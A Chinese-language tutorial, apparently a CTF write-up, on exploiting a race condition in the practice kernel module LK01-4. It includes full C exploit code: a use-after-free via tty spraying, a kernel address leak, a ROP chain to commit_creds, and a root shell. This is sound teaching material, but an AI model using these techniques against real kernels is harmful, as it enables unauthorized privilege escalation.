通过条件竞争实现内核提权
条件竞争漏洞(Race Condition Vulnerability)是一种在多线程或多进程并发执行时可能导致不正确行为或数据损坏的安全问题。这种漏洞通常发生在多个线程或进程试图访问和修改共享资源(如内存、文件、网络连接等)时,由于执行顺序不确定或没有适当的同步措施,导致竞争条件的发生并且条件竞争在内核中也经常出现。
LK01-4
这里以一道例题作为例子介绍条件竞争在内核中的利用。
open模块
题目链接:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-4/LK01-4
open模块相较于LK01-3增加了锁的判断,当执行过open模块之后,mutex会被设置为1,这样可以避免第二次执行open模块时,有两个文件描述符指向同一块内存。
static int module_open(struct inode *inode, struct file *file)
{printk(KERN_INFO "module_open called\n");if (mutex) {printk(KERN_INFO "resource is busy");return -EBUSY;}mutex = 1;g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);if (!g_buf) {printk(KERN_INFO "kmalloc failed");return -ENOMEM;}return 0;
}
例如以下代码,连续执行两遍open模块时,第二次执行会返回-1。
#include <stdio.h>
#include <fcntl.h>
int main()
{int fd1 = open("/dev/holstein",O_RDWR);printf("fd1:%d\n",fd1);int fd2 = open("/dev/holstein",O_RDWR);printf("fd2:%d\n",fd2);}

image-20230921160911373
单线程下执行的流程如下。

image-20230924124535907
但是上述情况会在多线程的情况下出现潜在的问题。由于线程1与线程2会切换执行,那么就有可能会出现以下情况,在线程1执行open模块时,在处于判断mutex = 1这个赋值操作之前,而在mutext == 1这个判断语句之后切换到线程2,那么线程2在执行mutext == 1时,线程1还没有完成赋值操作,因此线程2会认为是第一次执行open模块,从而获得指向g_buf的文件描述符,而在线程2切回到线程1时,由于此时线程1已经指向完判断语句了,因此也会成功获取指向g_buf的文件描述符,因此会构成存在两个指针指向同一块区域的情况,从而造成后续的UAF漏洞的利用。

image-20230924125005531
POC
为了验证上述的可能性,我们需要创建两个线程并且两个线程需要不断的调用open模块。我们需要注意以下几点。
-
• 首先是
POC使用了3与4作为新打开的文件描述符,这是因为0,1,2是标准流,因此新打开的文件应该是从3开始分配。但是避免不是从3开始分配,我们可以使用作者提供的exp,打开临时文件去判断下一个文件描述符是什么。 -
• 其次是在条件竞争利用失败的时候,我们需要关闭文件描述符,这是因为若不关闭,那么上述两个线程竞争的情况就不会发生了,因为已经通过
open模块获取了文件描述符,那么mutext已经被设置为1,那么就不会存在mutext被设置为1之前的情况了。 -
• 然后在文件描述符为
4的时候,说明已经通过条件竞争成功执行两次open模块,但是这里还需要去验证文件描述符是否有效,这是因为有可能出现线程1获取的文件描述符为3,而线程二获取的文件描述符为4,但是线程1先进入了if (fd != -1 && success == 0)的判断,那么就会把文件描述符3给关闭了,就导致即使正常执行了两次open模块,但是只有4能够使用。 -
• 最后就是验证
3和4是否指向同一块内存了。
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <pthread.h>
#include <string.h>
int success = 0;
void *thread_function(void *arg) {while(1){while (!success){int fd = open("/dev/holstein",O_RDWR);if (fd == 4)success = 1;if (fd != -1 && success == 0)close(fd);}if (write(3, "a", 1) != 1 || write(4, "a", 1) != 1){close(3);close(4);success = 0;} elsebreak;}}int main()
{pthread_t thread_id1, thread_id2;if (pthread_create(&thread_id1, NULL, thread_function, NULL) != 0){fprintf(stderr, "thread error\n");return 1;}if (pthread_create(&thread_id2, NULL, thread_function, NULL) != 0){fprintf(stderr, "thread error\n");return 1;}pthread_join(thread_id1, NULL);pthread_join(thread_id2, NULL); char temp[0x20]= {};write(3, "abcdefg", 7);read(4, temp, 7);if (strcmp(temp, "abcdefg")){puts("fail\n");exit(-1);}printf("sucess\n");
}
run.sh
这里可以看到-smp的选项为2,"-smp" 表示 "Symmetric MultiProcessing",即对称多处理。在虚拟化环境中,这个参数用于设置虚拟机使用的虚拟处理器核心数量。在这种情况下,"-smp 2" 表示将虚拟机配置为使用 2 个虚拟处理器核心,使其能够同时运行两个线程或进程。因此题目给的环境意在使用多线程竞争进行提权。
#!/bin/sh
qemu-system-x86_64 \-m 64M \-nographic \-kernel bzImage \-append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \-no-reboot \-cpu qemu64,+smap,+smep \-smp 2 \-monitor /dev/null \-initrd initramfs.cpio.gz \-net nic,model=virtio \-net user \-s
exp
因此提权的过程则是首先使用条件竞争的漏洞使得open模块执行两次,使得两个文件描述符指向同一个内存区域,接着关闭一个文件描述符使得UAF漏洞,并且分配大小属于tty结构体的范围内,因此通过堆喷使得tty结构体被控制,紧接着篡改ops指针为栈迁移的gadget地址,配合ioctl函数控制rdx寄存,将栈迁移到g_buf上,然后就是通过prepare_kernel_cred -> commit_creds -> swapgs_restore_regs_and_return_to_usermode的序列完成提权操作。
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <pthread.h>
#include <string.h>//0xffffffff81137da8: push rdx; add byte ptr [rbx + 0x41], bl; pop rsp; pop rbp; ret;
//0xffffffff810d5ba9: push rcx; or al, 0; add byte ptr [rax + 0xf], cl; mov edi, 0x8d480243; pop rsp; re
//0xffffffff810b13c5: pop rdi; ret;
//ffffffff81072580 T prepare_kernel_cred
//ffffffff810723e0 T commit_creds
//0xffffffff8165094b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;
//0xffffffff81c6bfe0: pop rcx; ret;
//ffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode
//0xffffffff810012b0: pop rcx; pop rdx; pop rsi; pop rdi; pop rbp; ret;#define push_rdx_pop_rsp 0x137da8
#define pop_rdi_ret 0xb13c5
#define prepare_kernel_cred 0x72580
#define commit_creds 0x723e0
#define pop_rcx_ret 0xc6bfe0
#define mov_rdi_rax 0x65094b
#define swapgs_restore 0x800e10
#define pop_rcx_5 0x12b0unsigned long user_cs, user_sp, user_ss, user_rflags;void backdoor()
{printf("****getshell****");system("id");system("/bin/sh");
}void save_user_land()
{__asm__(".intel_syntax noprefix;""mov user_cs, cs;""mov user_sp, rsp;""mov user_ss, ss;""pushf;""pop user_rflags;"".att_syntax;");puts("[*] Saved userland registers");printf("[#] cs: 0x%lx \n", user_cs);printf("[#] ss: 0x%lx \n", user_ss);printf("[#] rsp: 0x%lx \n", user_sp);printf("[#] rflags: 0x%lx \n", user_rflags);printf("[#] backdoor: 0x%lx \n\n", backdoor);
}int success = 0;
void *thread_function(void *arg) {while(1){while (!success){int fd = open("/dev/holstein",O_RDWR);if (fd == 4)success = 1;if (fd != -1 && success == 0)close(fd);}if (write(3, "a", 1) != 1 || write(4, "a", 1) != 1){close(3);close(4);success = 0;} elsebreak;}}
int main()
{pthread_t thread_id1, thread_id2;int spray[200];save_user_land();if (pthread_create(&thread_id1, NULL, thread_function, NULL) != 0){fprintf(stderr, "thread error\n");return 1;}if (pthread_create(&thread_id2, NULL, thread_function, NULL) != 0){fprintf(stderr, "thread error\n");return 1;}pthread_join(thread_id1, NULL);pthread_join(thread_id2, NULL); char temp[0x20]= {};write(3, "abcdefg", 7);read(4, temp, 7);printf("temp:%s\n", temp);if (strcmp(temp, "abcdefg")){puts("failure\n");exit(-1);}if (!strcmp(temp,"abcdefg")){printf("sucess\n");close(4);for (int i = 0; i < 50; i++){spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);if (spray[i] == -1){printf("error!\n");exit(-1);}}char buf[0x400];read(3, buf, 0x400);unsigned long *p = (unsigned long *)&buf;for (unsigned int i = 0; i < 0x80; i++)printf("[%x]:addr:0x%lx\n",i,p[i]);unsigned long kernel_address = p[3];unsigned long heap_address = p[7];if ((kernel_address >> 32) != 0xffffffff){printf("leak error!\n");exit(-1); }elseprintf("leak sucess\n");unsigned long kernel_base = kernel_address - 0xc3afe0;unsigned long g_buf = heap_address - 0x38;printf("kernel_base:0x%lx\ng_buf:0x%lx\n", kernel_base, g_buf);//getchar(); *(unsigned long *)&buf[0x18] = g_buf;p[0xc] = push_rdx_pop_rsp + kernel_base;//for (unsigned long i = 0xd; i < 0x80; i++)// p[i] = g_buf + i;int index = 0x21;p[index++] = pop_rdi_ret + kernel_base;p[index++] = 0;p[index++] = prepare_kernel_cred + kernel_base;p[index++] = pop_rcx_5 + kernel_base;p[index++] = 0;p[index++] = 0;p[index++] = 0;p[index++] = 0;p[index++] = 0;p[index++] = mov_rdi_rax + kernel_base;p[index++] = commit_creds + kernel_base;p[index++] = swapgs_restore + kernel_base + 22;p[index++] = 0;p[index++] = 0;p[index++] = (unsigned long)backdoor;p[index++] = user_cs;p[index++] = user_rflags;p[index++] = user_sp;p[index++] = user_ss; write(3, buf, 0x400); ioctl(4, 0, g_buf + 0x100); }return 0;
}
CPU Affinity(CPU 亲和性)
这里作者用了CPU Affinity提高了条件竞争的成功率,在如今多核的处理器下,我们可以将不同的线程绑定在不同的核上,使得线程进程不会进行来回切换的操作,提高执行效率。那么对应在这道题上,我们可以把线程1绑定在CPU 0上运行,线程2绑定在CPU 1上,那么使得线程1与线程2可以并行运行,那么触发漏洞的可能性会大大提升。
首先初始化CPU集合,然后将绑定到指定的核上,然后在线程内部通过sched_setaffinity 函数设置 CPU 亲和性。
#define _GNU_SOURCE
#include <sched.h>...cpu_set_t t1_cpu, t2_cpu;CPU_ZERO(&t1_cpu);CPU_ZERO(&t2_cpu);CPU_SET(0, &t1_cpu);CPU_SET(1, &t2_cpu);
...if (pthread_create(&thread_id1, NULL, thread_function, (void *)&t1_cpu) != 0){fprintf(stderr, "thread error\n");return 1;}if (pthread_create(&thread_id2, NULL, thread_function, (void *)&t2_cpu) != 0){fprintf(stderr, "thread error\n");return 1;} void *thread_function(void *arg) {cpu_set_t *cpu_set = (cpu_set_t *)arg;int result = sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set);...
} 相关文章:
通过条件竞争实现内核提权
条件竞争漏洞(Race Condition Vulnerability)是一种在多线程或多进程并发执行时可能导致不正确行为或数据损坏的安全问题。这种漏洞通常发生在多个线程或进程试图访问和修改共享资源(如内存、文件、网络连接等)时,由于…...
vue实现换肤功能
1、使用scss定义几种需要进行换肤的颜色,例如: .font-color-theme{[color-theme"black"] & {color: #000}[color-theme"white"] & {color: #fff} }2、使用以下代码控制变化; let colorType localStorage.getIt…...
嵌入式软件工程师面试题——2025校招社招通用(八)
说明: 面试题来源于网络书籍,公司题目以及博主原创或修改(题目大部分来源于各种公司);文中很多题目,或许大家直接编译器写完,1分钟就出结果了。但在这里博主希望每一个题目,大家都要…...
背包笔记
01背包 朴素版01背包 cin >> n >> m; f[0][0] 0; for(int i 1; i < n; i ) {for(int j 0; j < m; j ){f[i][j] f[i - 1][j];//第i个物品不选if(j - v[i] > 0){f[i][j] max(f[i][j], f[i - 1][j - v[i]] w[i]);//选第i个物品}} }cout << f[n…...
【Redis 速通】Redis 在 Linux 上的单机服务快速搭建与部署(附完整流程步骤及命令代码)
Redis 单机版安装与部署 Written By: Xinyao Tian 概述 本文档主要描述了 Redis 的生产环境安装及配置方法。 主要步骤 编译及安装 进入 root 用户并上传 Redis 源码安装包 查看 Redis 源码安装包的上传情况: [rootcentos-host redis]# pwd /opt/redis [root centos-ho…...
前端JavaScript
文章目录 一、JavaScript概述JS简介1.ECMAScript和JavaScript的关系2.ECMAScript的历史3.什么是javas?4.JavaScript的作用? 三者之间的作用JS基础1.注释语法2.引入js的多种方式3.结束符号 变量与常量变量1.JavaScript声明2.var与let的区别常量 基本数据类…...
C语言程序设计(第五版)谭浩强 第三章课后题答案
第三章 1、假如我国国民生产总值的年增长率为7%, 计算10年后我国国民生产总值与现在相比增长多少百分比。计算公式为 ,其中r为年增长率,n为年数,p为与现在相比的倍数。 #include<stdio.h> #include<math.h>int main(){float r,…...
uni-app 解决钉钉小程序日期组件uni-datetime-picker不兼容ios问题
最近在使用uni-app开发 钉钉小程序 ,遇到一个ios的兼容性问题 uni-datetime-picker 组件在模拟器上可以使用,在真机上不生效问题 文章目录 1. 不兼容的写法,uni-datetime-picker 不兼容IOS2. 兼容的写法,使用 dd.datePicker 实现。…...
【C++入门 三】学习C++缺省参数 | 函数重载 | 引用
C入门 三 1.缺省参数1.1 缺省参数概念1.2 缺省参数分类 2. 函数重载2.1 函数重载概念2.2 C支持函数重载的原理--名字修饰(name Mangling) 3.引用3.1引用概念3.2引用特性3.3 常引用3.4 使用场景1. 做参数2. 做返回值 3.5 传值、传引用效率比较3.6引用和指针的区别 4.引用和指针的…...
视频增强修复软件Topaz Video AI mac中文版支持功能
Topaz Video AI mac是一款使用人工智能技术对视频进行增强和修复的软件。它可以自动降噪、去除锐化、减少压缩失真、提高清晰度等等。Topaz Video AI可以处理各种类型的视频,包括低分辨率视频、老旧影片、手机录制的视频等等。 使用Topaz Video AI非常简单ÿ…...
C# 使用Thread类建线程
C# 使用Thread类建线程 目录 C# 使用Thread类建线程引言Thread类启动线程优先级后台运行线程状态线程名称线程ID最后 引言 线程(thread)是操作系统能够进行运算调度的最小单位。它被包含在进程之中,是进程中的实际运作单位。线程是我们程序常用的并行运行控制手段,…...
asyncio协程框架
asyncio 基本用法 asyncio 包含以下几个主要的组件:协程 asyncio 支持使用 async/await 语法定义协程(coroutine)。协程是可以暂停和恢复执行的函数,可以实现非阻塞式的异步编程。 import asyncioasync def coroutine():print(H…...
TSINGSEE智慧安防:AI人员入侵检测算法的工作原理及应用场景概述
人员入侵检测算法基于视频分析技术,自动对视频画面进行分析识别,可以对危险区的人员闯入、靠近等行为进行实时进行检测并预警,无需人工干预,协助管理者对场所的安全问题进行监管,可以广泛运用在学校、园区、工地、车站…...
Python:PDF转长图像和分页图像
简介:随着电子化文档的普及,PDF文件的使用频率越来越高。有时我们需要将PDF中的内容转化为图片格式进行分享或编辑,那么如何才能轻松地完成此任务呢?本文将为你展示一个Python工具:如何将PDF文件转化为图片,…...
第48天:内置对象方法、 前端基础之BOM和DOM
内置对象方法 RegExp对象 // 定义正则表达式两种方式 var reg1 new RegExp("^[a-zA-Z][a-zA-Z0-9]{5,11}"); var reg2 /^[a-zA-Z][a-zA-Z0-9]{5,9}$/;// 正则校验数据 reg1.test(jason666) reg2.test(jason666)/*第一个注意事项,正则表达式中不能有空格…...
CMake系列EP02: 构建可执行程序和库
文章目录 cmake --buildmessage命令切换生成器使用ninja构建项目切换生成器的工作原理 构建和链接静态库和动态库add_library命令add_executable命令构建OBJECT类型的库条件编译opion命令option更多信息 指定编译器构建类型切换构建类型: 设置编译器选项cmake调试设…...
比亚迪今年的薪资。。
大家或许已经对比亚迪在西安的宣讲会有所耳闻,那场面真的是座无虚席。如果你稍微迟到了一些,那么你可能只能在门外或是走廊听了。 事实上,许多人早早地抵达了,只要稍微晚到,就可能错过了室内的位置。 更令人震惊的是&…...
【OpenCV实现图像找到轮廓的不同特征,就像面积,周长,质心,边界框等等。】
文章目录 概要图像矩凸包边界矩形 概要 OpenCV是一个流行的计算机视觉库,它提供了许多图像处理和分析功能,其中包括查找图像中物体的轮廓。通过查找轮廓,可以提取许多有用的特征,如面积、周长、质心、边界框等。 以下是几种使用…...
数仓建模—数仓建设概论
数仓建设概论 文章目录 数仓建设概论什么是数据仓库数据仓库对企业的意义1.全面掌握企业数据2.支持企业的决策制定3. 可靠性高怎么做数据仓库建1. 需求分析2. 设计数据仓库架构3. 数据采集4. 数据清洗5. 数据结构设计6. 数据分析7. 数据可视化8. 数据维护总结前面我们介绍了关于…...
Docker dnmp 多版本php安装 php8.2
Laravel9 开发需要用到php8.1以上的版本,而dnmp只支持到php8.0。安装php8.2的步骤如下: 1. 从/services/php80目录复制一份出来,重命名为php82,extensions目录只保留 install.sh 和 install-php-extensions 这两个文件 2. 修改.en…...
stm32G473的flash模式是单bank还是双bank?
今天突然有人stm32G473的flash模式是单bank还是双bank?由于时间太久,我真忘记了。搜搜发现,还真有人和我一样。见下面的链接:https://shequ.stmicroelectronics.cn/forum.php?modviewthread&tid644563 根据STM32G4系列参考手…...
【人工智能】神经网络的优化器optimizer(二):Adagrad自适应学习率优化器
一.自适应梯度算法Adagrad概述 Adagrad(Adaptive Gradient Algorithm)是一种自适应学习率的优化算法,由Duchi等人在2011年提出。其核心思想是针对不同参数自动调整学习率,适合处理稀疏数据和不同参数梯度差异较大的场景。Adagrad通…...
Nginx server_name 配置说明
Nginx 是一个高性能的反向代理和负载均衡服务器,其核心配置之一是 server 块中的 server_name 指令。server_name 决定了 Nginx 如何根据客户端请求的 Host 头匹配对应的虚拟主机(Virtual Host)。 1. 简介 Nginx 使用 server_name 指令来确定…...
在WSL2的Ubuntu镜像中安装Docker
Docker官网链接: https://docs.docker.com/engine/install/ubuntu/ 1、运行以下命令卸载所有冲突的软件包: for pkg in docker.io docker-doc docker-compose docker-compose-v2 podman-docker containerd runc; do sudo apt-get remove $pkg; done2、设置Docker…...
Angular微前端架构:Module Federation + ngx-build-plus (Webpack)
以下是一个完整的 Angular 微前端示例,其中使用的是 Module Federation 和 npx-build-plus 实现了主应用(Shell)与子应用(Remote)的集成。 🛠️ 项目结构 angular-mf/ ├── shell-app/ # 主应用&…...
JavaScript基础-API 和 Web API
在学习JavaScript的过程中,理解API(应用程序接口)和Web API的概念及其应用是非常重要的。这些工具极大地扩展了JavaScript的功能,使得开发者能够创建出功能丰富、交互性强的Web应用程序。本文将深入探讨JavaScript中的API与Web AP…...
【Redis】笔记|第8节|大厂高并发缓存架构实战与优化
缓存架构 代码结构 代码详情 功能点: 多级缓存,先查本地缓存,再查Redis,最后才查数据库热点数据重建逻辑使用分布式锁,二次查询更新缓存采用读写锁提升性能采用Redis的发布订阅机制通知所有实例更新本地缓存适用读多…...
MySQL 主从同步异常处理
阅读原文:https://www.xiaozaoshu.top/articles/mysql-m-s-update-pk MySQL 做双主,遇到的这个错误: Could not execute Update_rows event on table ... Error_code: 1032是 MySQL 主从复制时的经典错误之一,通常表示ÿ…...
WEB3全栈开发——面试专业技能点P7前端与链上集成
一、Next.js技术栈 ✅ 概念介绍 Next.js 是一个基于 React 的 服务端渲染(SSR)与静态网站生成(SSG) 框架,由 Vercel 开发。它简化了构建生产级 React 应用的过程,并内置了很多特性: ✅ 文件系…...
WebRTC调研
WebRTC是什么,为什么,如何使用 WebRTC有什么优势 WebRTC Architecture Amazon KVS WebRTC 其它厂商WebRTC 海康门禁WebRTC 海康门禁其他界面整理 威视通WebRTC 局域网 Google浏览器 Microsoft Edge 公网 RTSP RTMP NVR ONVIF SIP SRT WebRTC协…...
